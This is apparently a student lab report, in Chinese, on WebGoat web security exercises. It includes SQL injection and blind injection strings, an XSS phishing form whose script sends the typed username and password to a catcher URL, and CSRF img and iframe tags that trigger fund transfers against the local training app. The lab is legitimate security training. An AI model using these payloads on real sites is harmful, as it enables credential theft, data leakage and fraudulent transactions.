其他分享
首页 > 其他分享> > Exp9 Web安全基础 Week13 - 20165201

Exp9 Web安全基础 Week13 - 20165201

作者:互联网

Exp9 Web安全基础 Week13 - 20165201


(由于图片比较大,看的时候需要关闭侧边栏~)

目录

学习目标

实验环境

基础问题回答

(1)SQL注入攻击原理,如何防御

(2)XSS攻击的原理,如何防御

(3) CSRF攻击原理,如何防御

预备知识

什么是 WebGoat?

实验步骤

WebGoat配置

注入缺陷攻击

一、Command Injection:命令注入

二、Numeric SQL Injection:数字型 SQL 注入

三、Log Spoofing:日志欺骗

四、String SQL Injection:字符串型注入

五、LAB: SQL Injection:SQL注入小实验

Stage 1: String SQL Injection:字符串型注入
Stage 3: Numeric SQL Injection:数字型 SQL 注入

1、使用用户名Larry,密码larry登录,点击ViewProfile查看用户信息

2、右键点击页面,选择inspect Element审查网页元素源代码,我们可以看到数据库索引的依据是员工ID(employee_id),推测返回的是每次查询到的第一条数据

3、用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成101 or 1=1 order by salary desc,使得老板的信息作为查询到的第一条数据,成功获得老板的详细数据!!!

六、Database Backdoors:数据库后门

七、Blind Numeric SQL Injection:数字型盲注入

2、如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。

3、输入查询语句101 AND 1=1,因为两个条件都成立,所以页面返回帐号有效(图中Account number is valid)

4、而当我们输入查询语句101 AND 1=0,因为第二个条件不成立,所以而页面返回帐号无效(图中Invalid account number.)

5、针对查询语句的后半部分构造语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') < 10000 );,返回值为真,所以pin字段数值小于10000

6、然后我们继续改变查询的数值范围,直到找出正确的值为2364

八、Blind String SQL Injection:字符串型盲注入

3、最终,判断出pin字段的值为:Jill

跨站脚本攻击

一、Phishing with XSS:使用XSS钓鱼

1、编写一个带用户名和密码输入框的表格

<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>

2、编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

<script>
function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>

3、现在我们将以上两段代码合并,搜索这一大段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录, WebGoat 会将输入的信息捕获并反馈回来

<script>
function hack()
{ 
    alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
    XSSImage=new Image; 
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
Enter Username:<br><input type="text" id="user" name="user"><br> 
Enter Password:<br><input type="password" name = "pass"><br> 
</form><br><br><HR>

二、Stored XSS Attacks:存储型XSS攻击

三、Reflected XSS Attacks:反射型XSS攻击

四、Cross Site Request Forgery (CSRF):跨站请求伪造攻击

1、查看页面右侧Parameters中的srcmenu的值,分别为312和900

2、在title中输入任何参数,在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

3、在Message List中生成以Title命名的链接。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的

五、CSRF Prompt By‐Pass:绕过 CSRF 确认

1、查看页面右侧Parameters中的srcmenu值分别为298900

2、并在title框中输入LZH,message框中输入代码,然后点击Submit

<iframe src="attack?Screen=298&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>

3、在Message List中生成以Title命名的链接,点击进入后,攻击成功

遇到的问题

sudo mkdir -p /usr/local/java
sudo cp jdk-8u211-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u211-linux-x64.tar.gz
sudo vim /etc/profile
###复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_211
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_211/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_211/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_211/bin/javaws" 1
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_211/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_211/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_211/bin/javaws
source /etc/profile

实验体会

  这次的实验内容比较多,但是让我更加直观的体验到了web攻击的威力,平时只是听说这些,真正自己做的时候还是很有乐趣的

标签:Web,Exp9,java,XSS,攻击,Week13,SQL,WebGoat,输入
来源: https://www.cnblogs.com/cbmwtsl/p/10927692.html